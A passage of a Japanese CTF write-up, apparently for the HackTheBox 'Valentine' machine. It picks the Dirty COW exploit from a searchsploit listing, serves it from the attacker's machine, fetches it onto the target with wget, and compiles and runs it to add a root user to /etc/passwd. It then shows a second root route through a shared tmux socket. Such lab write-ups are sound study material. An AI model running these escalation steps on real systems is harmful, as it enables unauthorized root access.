Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)                                                 | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)                                                    | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access Method)                                                                       | linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)                                                 | linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method)                                                                        | linux/local/40611.c
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1)                                                               | linux/local/18411.c
Linux Kernel 2.6.39 < 3.2.2 (x86/x64) - 'Mempodipper' Local Privilege Escalation (2)                                                                               | linux/local/35161.c
Linux Kernel 3.0 < 3.3.5 - 'CLONE_NEWUSER|CLONE_FS' Local Privilege Escalation                                                                                     | linux/local/38390.c
Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privilege Escalation                                                                     | linux_x86-64/local/33516.c
Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)                                             | linux_x86-64/local/33589.c
Linux Kernel 3.2.1 - Tracing Multiple Local Denial of Service Vulnerabilities                                                                                      | linux/dos/38465.txt
Linux Kernel 3.2.24 - 'fs/eventpoll.c' Local Denial of Service                                                                                                     | linux/dos/19605.c
Linux Kernel 3.2.x - 'uname()' System Call Local Information Disclosure                                                                                            | linux/local/37937.c
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.04/13.10 x64) - 'CONFIG_X86_X32=y' Local Privilege Escalation (3)                                                             | linux_x86-64/local/31347.c
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.10) - 'CONFIG_X86_X32' Arbitrary Write (2)                                                                                    | linux/local/31346.c
Linux Kernel 3.4 < 3.13.2 - recvmmsg x32 compat (PoC)                                                                                                              | linux/dos/31305.c
Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free                                                                                               | linux/dos/43234.c
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation                                                                                                         | linux/local/41886.c
Linux Kernel < 3.16.1 - 'Remount FUSE' Local Privilege Escalation                                                                                                  | linux/local/34923.c
Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation                                                                                       | linux/local/44302.c
Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation                                                                            | linux_x86-64/local/34134.c
Linux Kernel < 3.4.5 (Android 4.2.2/4.4 ARM) - Local Privilege Escalation                                                                                          | arm/local/31574.c
Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation                                                                  | linux/local/44299.c
Linux Kernel < 3.8.9 (x86-64) - 'perf_swevent_init' Local Privilege Escalation (2)                                                                                 | linux_x86-64/local/26131.c
Linux Kernel < 3.8.x - open-time Capability 'file_ns_capable()' Local Privilege Escalation                                                                         | linux/local/25450.c
Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Service                                                                                       | linux/dos/42136.c
Linux kernel < 4.10.15 - Race Condition Privilege Escalation                                                                                                       | linux/local/43345.c
Linux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Local Privilege Escalation                                                                                  | linux/local/45553.c
Linux Kernel < 4.13.1 - BlueTooth Buffer Overflow (PoC)                                                                                                            | linux/dos/42762.txt
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation                                                                                      | linux/local/45010.c
Linux Kernel < 4.14.rc3 - Local Denial of Service                                                                                                                  | linux/dos/42932.c
Linux Kernel < 4.15.4 - 'show_floppy' KASLR Address Leak                                                                                                           | linux/local/44325.c
Linux Kernel < 4.16.11 - 'ext4_read_inline_data()' Memory Corruption                                                                                               | linux/dos/44832.txt
Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free                                                                                                                     | linux/dos/44579.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation                                                                                             | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation                                                                  | linux/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)                                                              | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP)                                          | linux/local/47169.c
Linux Kernel < 4.5.1 - Off-By-One (PoC)                                                                                                                            | linux/dos/44301.c
------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Dirty COW脆弱性があるようだ。Privilege Escalationと書かれている40839.cを使う。

root@kali:~/valentine# searchsploit -m 40839
  Exploit: Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)
      URL: https://www.exploit-db.com/exploits/40839
     Path: /usr/share/exploitdb/exploits/linux/local/40839.c
File Type: C source, ASCII text, with CRLF line terminators

Copied to: /root/valentine/40839.c

コンパイル方法などは40839.cに書かれていた。firefartという名前のユーザを追加してくれるコードのようだ。

40839.cの持ち込み

ターゲットに40839.cを持ち込む。

攻撃側環境で待ち受けて・・・

root@kali:~/valentine# python -m SimpleHTTPServer 1234

タ―ゲット環境からwgetで取りに行く。

hype@Valentine:~$ wget http://10.10.14.13/40839.c
--2020-07-25 04:51:49--  http://10.10.14.13/40839.c
Connecting to 10.10.14.13:80... failed: Connection refused.
hype@Valentine:~$ wget http://10.10.14.13:1234/40839.c
--2020-07-25 04:51:59--  http://10.10.14.13:1234/40839.c
Connecting to 10.10.14.13:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5006 (4.9K) [text/plain]
Saving to: `40839.c'

100%[===========================================================================================================================================================>] 5,006       --.-K/s   in 0s      

2020-07-25 04:51:59 (271 MB/s) - `40839.c' saved [5006/5006]

root.txt取得まで

以下の流れでコンパイル、実行した。firefartユーザのパスワードは「valentine」で設定。

hype@Valentine:~$ mv 40839.c dirty.c
hype@Valentine:~$ 
hype@Valentine:~$ gcc -pthread dirty.c -o dirty -lcrypt
hype@Valentine:~$ ./dirty 
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 
Complete line:
firefart:fiR9VG9uIjxwY:0:0:pwned:/root:/bin/bash

mmap: 7fb150355000
madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'valentine'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'valentine'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
hype@Valentine:~$

後はsuでfirefartユーザになり、root.txtを取得して終了。

hype@Valentine:~$ su firefart
Password: 
firefart@Valentine:/home/hype# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@Valentine:/home/hype# cat /root/root.txt
f1bb6d759df1f272914ebbc9ed7765b2

root.txt取得の別解

bashで実行したコマンドの実行履歴が確認できる.bash_historyを見る。

hype@Valentine:~$ cat .bash_history 

exit
exot
exit
ls -la
cd /
ls -la
cd .devs
ls -la
tmux -L dev_sess 
tmux a -t dev_sess 
tmux --help
tmux -S /.devs/dev_sess 
exit

tmuxを使っているようだ。 /.devs/dev_sessにはSUIDが設定されている。

hype@Valentine:~$ ls -l /.devs/dev_sess 
srw-rw---- 1 root hype 0 Jul 24 22:44 /.devs/dev_sess

オプションの意味がわからなかったので、少し調べた。

tmux -L dev_sess
★dev_sessという名前のソケット名でセッションを開始
tmux a -t dev_sess
★dev_sessにアタッチしようとしたが、正しい方法ではないため、失敗
tmux --help
★オプションを確認
tmux -S /.devs/dev_sess
★dev_sessに接続

ちょっとよくわからない。ちゃんと調べとこ。
結局、.bash_historyにある方法と同じ方法でroot権限が取得できる。

hype@Valentine:~$ tmux -S /.devs/dev_sess
root@Valentine:/home/hype# id
uid=0(root) gid=0(root) groups=0(root)